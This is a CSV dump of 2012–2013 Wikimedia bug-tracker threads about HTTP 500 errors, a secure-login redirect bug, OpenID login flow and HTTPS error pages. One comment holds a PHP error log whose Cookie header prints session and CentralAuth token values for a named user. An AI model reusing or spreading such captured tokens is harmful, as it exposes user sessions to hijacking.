+190152,some pages return HTTP 500 on oc.wikipedia,"yfdyh000: All the pages that you listed in comment 0 work for me now, so I assume this is fixed. Please reopen this report if the problem still happens for you.",,,1362732997,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,True,,,-25,True,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+190148,some pages return HTTP 500 on oc.wikipedia,I suspect the not-enough-memory error will be the fault of https://oc.wikipedia.org/wiki/Mod%C3%A8l:Demografia,,,1351501802,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,False,,,-44,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+190143,some pages return HTTP 500 on oc.wikipedia,confirmed,,,1350734264,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+190138,some pages return HTTP 500 on oc.wikipedia,"[17-Oct-2012 17:02:44] Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 499456 bytes) at /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php on line 908
+Server: mw53
+Method: GET
+URL: http://oc.wikipedia.org/wiki/Sent_Medard_de_Moissida
+Cookie: centralauth_LoggedOut=20121001202336; centralauth_Session=1b18a1754bbd3be181dee37fbcfca607; centralauth_User=Reedy; centralauth_Token=76aec9b6c7a8749346e752697086ecdc; ocwiki_session=fd00b10d0368beb72a6c90c2e3cbb2ae
+Backtrace:
+#0 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php(908): gzuncompress('x???M?$?q???+J-...')
+#1 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedClient.php(447): MWMemcached->_load_items(Resource id #174, Array)
+#2 /usr/local/apache/common-local/php-1.21wmf1/includes/objectcache/MemcachedBagOStuff.php(63): MWMemcached->get('ocwiki:preproce...')
+#3 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(121): MemcachedBagOStuff->get('ocwiki:preproce...')
+#4 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(2984): Preprocessor_Hash->preprocessToObj('<!--??Cars cont...', 1)
+#5 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3503): Parser->preprocessToDom('<!--??Cars cont...', 1)
+#6 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3355): Parser->getTemplateDom(Object(Title))
+#7 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(1007): Parser->braceSubstitution(Array, Object(PPTemplateFrame_Hash))
+#8 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3416): PPFrame_Hash->expand(Object(PPNode_Hash_Tree))
+#9 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Preprocessor_Hash.php(1007): Parser->braceSubstitution(Array, Object(PPFrame_Hash))
+#10 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(3043): PPFrame_Hash->expand(Object(PPNode_Hash_Tree), 0)
+#11 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(1141): Parser->replaceVariables('<!-- Article re...')
+#12 /usr/local/apache/common-local/php-1.21wmf1/includes/parser/Parser.php(370): Parser->internalParse('<!-- Article re...')
+#13 /usr/local/apache/common-local/php-1.21wmf1/includes/WikiPage.php(3120): Parser->parse('<!-- Article re...', Object(Title), Object(ParserOptions), true, true, 1275285)
+#14 /usr/local/apache/common-local/php-1.21wmf1/includes/PoolCounter.php(209): PoolWorkArticleView->doWork()
+#15 /usr/local/apache/common-local/php-1.21wmf1/includes/Article.php(631): PoolCounterWork->execute()
+#16 /usr/local/apache/common-local/php-1.21wmf1/includes/actions/ViewAction.php(37): Article->view()
+#17 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(427): ViewAction->show()
+#18 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(304): MediaWiki->performAction(Object(Article))
+#19 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(553): MediaWiki->performRequest()
+#20 /usr/local/apache/common-local/php-1.21wmf1/includes/Wiki.php(446): MediaWiki->main()
+#21 /usr/local/apache/common-local/php-1.21wmf1/index.php(59): MediaWiki->run()
+#22 /usr/local/apache/common-local/live-1.5/index.php(3): require('/usr/local/apac...')
+#23 {main}",,,1350493396,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-empuy7qo3prhivzgt5yf,task_subcomment,,True,c2,1,True,,,-45,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+42789,$wgSecureLogin is broken,"Redirect loops just like described in https://gerrit.wikimedia.org/r/#/c/25530/1/includes/specials/SpecialUserlogin.php
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: major",High,80.0,1349421480,1349811074.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-ja62toj2hlptt7xhcdj4,task_description,resolved,True,c2,1,False,False,True,-47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+195865,$wgSecureLogin is broken,"Above, Chris says it'll be in 1.21wmf2. I think that's a no.",,,1350200827,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+195859,$wgSecureLogin is broken,"(In reply to comment #8)
+> It'd be great if it could be, quite frankly. Some of the bots Wikipedia uses
+> for site maintenance are reliant on this working. The central help forum for
+> en-wiki hasn't been able to archive itself since the bug.
+
+So is this in 1.20.0 or not?",,,1350199274,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-46,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,1
+195854,$wgSecureLogin is broken,"It'd be great if it could be, quite frankly. Some of the bots Wikipedia uses for site maintenance are reliant on this working. The central help forum for en-wiki hasn't been able to archive itself since the bug.",,,1350184654,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-46,True,1,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+195851,$wgSecureLogin is broken,Is this going to be backported and deployed before 1.21wmf2?,,,1350068586,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+195848,$wgSecureLogin is broken,Verified on http://sandbox.translatewiki.net/ (updated sandbox.translatewiki.net to be7d611 2012-10-11 08:51:13 +0000).,,,1349984816,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+195844,$wgSecureLogin is broken,"Yes. The problem occurs when $wgSecureLogin is set to false, in which case users are redirected to HTTPS incorrectly.",,,1349812261,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+195840,$wgSecureLogin is broken,"Tyler's fix is merged, and will go out with 1.21wmf2. Is this breaking anything to the point that we need to do a live fix on the cluster?",,,1349812045,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,True,,,-47,True,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+195835,$wgSecureLogin is broken,https://gerrit.wikimedia.org/r/27044,,,1349619536,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+195829,$wgSecureLogin is broken,That's a pretty big oversight on my part. My apologies. This entire week I feel like I've been getting stupider. Standby for patch.,,,1349619322,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+195822,$wgSecureLogin is broken,Seems to be related to this: all our users now get forcefully redirected to https *after* logging even when $wgSecureLogin is false.,,,1349591031,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-ja62toj2hlptt7xhcdj4,task_subcomment,,True,c2,1,False,,,-47,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+42067,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","Currently, if a user needs to login the provider will redirect to Special:OpenIDServer/Login. This is a form that only accepts a user's password. Rather than doing so, it should redirect to the normal login form Special:UserLogin with a returnto parameter that causes Special:UserLogin to return the user back to the OpenID form.
+
+The reason for this is that the wiki could be using other authentication extensions like OATH, LDAP, or CentralAuth, and they won't exist in the Special:OpenIDServer/Login form.
+
+--------------------------
+**Version**: master
+**Severity**: major",High,80.0,1346997480,1360459853.0,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,False,PHID-TASK-372swzshnfk7n2xcgg6p,task_description,resolved,True,c2,1,False,False,True,-51,True,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+202555,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","> Ryan; if you discover a new problem, then please file a new bug. the issue
+> you > reported with the ""OpenID: aborting in ChooseName because identity_url is
+> missing"" in the consumer wiki debug log file is a different thing.
+
+filed now as
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44834",,,1360460058,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+202551,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","The described issue is (for non-wmflabs instances) solved in https://gerrit.wikimedia.org/r/#/c/46198/ .
+
+Ryan; if you discover a new problem, then please file a new bug. the issue you reported with the ""OpenID: aborting in ChooseName because identity_url is missing"" in the consumer wiki debug log file is a different thing.",,,1360459853,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+202548,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","fixed in v2.01
+
+https://gerrit.wikimedia.org/r/#/c/46198/",,,1360434868,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-29,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+202545,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",Let's keep the bug open until the change is actually merged in.,,,1359439486,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+202541,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",https://gerrit.wikimedia.org/r/#/c/42757/4 looks good and works.,,,1359151206,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+202536,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","""OpenID as a provider
+
+As time goes on we want to tie more web service authentication to Labs' LDAP. It would be ideal to make labsconsole an OpenID provider so that services in Labs can use the same authentication source. OpenID as a provider on labsconsole is blocked by bugs 40068 and 40067.""
+
+http://www.mediawiki.org/wiki/Wikimedia_Labs/Account_creation_improvement_project",,,1358635648,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+202532,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",I've added an openid project in Labs and created an instance that's pre-installed with mediawiki called openid-wiki. Let's coordinate efforts there. Let me know your labsconsole user names and I'll add both of you to the project.,,,1358375599,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+202525,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","Tyler, your proposed fix does unfortunately not work. 
+
+It does not make sense, if you supply a patch and cannot test it (you stated in your commit ""Unfortunately, I cannot seem to get the OpenID extension working on my test wiki.""). 
+
+Please let me know how I could help you to get OpenID working on your own test wiki.",,,1358373461,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-32,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+202518,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","Hello, thanks for the patch.
+
+I will test this - and the code review - as ultra-soon as possible.",,,1357652520,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-34,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+202511,"When used as a provider, if a user needs to login, then the extension should redirect to the login form",https://gerrit.wikimedia.org/r/42757,,,1357652112,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-34,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+202503,"When used as a provider, if a user needs to login, then the extension should redirect to the login form","**sumanah** wrote:
+
+Tyler, would you be able to take a look at this? Ryan says it's a blocker for using a paste app he'd like to install.",,,1356640448,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-372swzshnfk7n2xcgg6p,task_subcomment,,True,c2,1,False,,,-35,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+41077,https does not show Wikimedia Error page,"Getting a ""502 Bad Gateway"" on https is bad, it is possible to get also the ""Wikimedia has a technical problem, please donate"" page as the http version shows? Thanks.
+
+Seen at the outage today.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://rt.wikimedia.org/Ticket/Display.html?id=5021",High,80.0,1344275280,1384961221.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_description,invalid,True,c2,1,False,False,True,-56,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0
+194000,https does not show Wikimedia Error page,"too old, doesn't seem to have reproduced in the last outage. Closing.",,,1384961221,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+193996,https does not show Wikimedia Error page,"RT #5021 about ""More meaningful Varnish 5xx page"" is resolved as ""This is already done.""
+So this might be obsolete?",,,1383242776,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,3,True,,,9,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0
+193991,https does not show Wikimedia Error page,"OPS team, would this problem still occur ???? Somewhat more important now that all logged in users are on https I presume, raising importance to high.",,,1377989274,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0
+193985,https does not show Wikimedia Error page,Bug 50891 has a screenshot.,,,1374786994,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+193977,https does not show Wikimedia Error page,"(similar: Bug 36498, linking to related RT ticket)",,,1374786895,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+193970,https does not show Wikimedia Error page,A simple way to reproduce is adding too many templates and hitting preview.,,,1364579563,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-22,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+193962,https does not show Wikimedia Error page,"Hehe, yeah. I guess what I wanted to say is that it is helpful if such reports include specific information or maybe a screenshot. 
+Let's wait for the next breakdown. Or not. :)",,,1353324677,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,True,,,-41,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+193954,https does not show Wikimedia Error page,"I hope it is impossible to reproduce this to often, because every time you can reproduce this, wikipedia is down/unreachable.
+
+I cannot give a url, because wikipedia is actually running nice.",,,1353179894,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-6jetwy2gs2yi7qtrxdrp,task_subcomment,,True,c2,1,False,,,-41,True,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
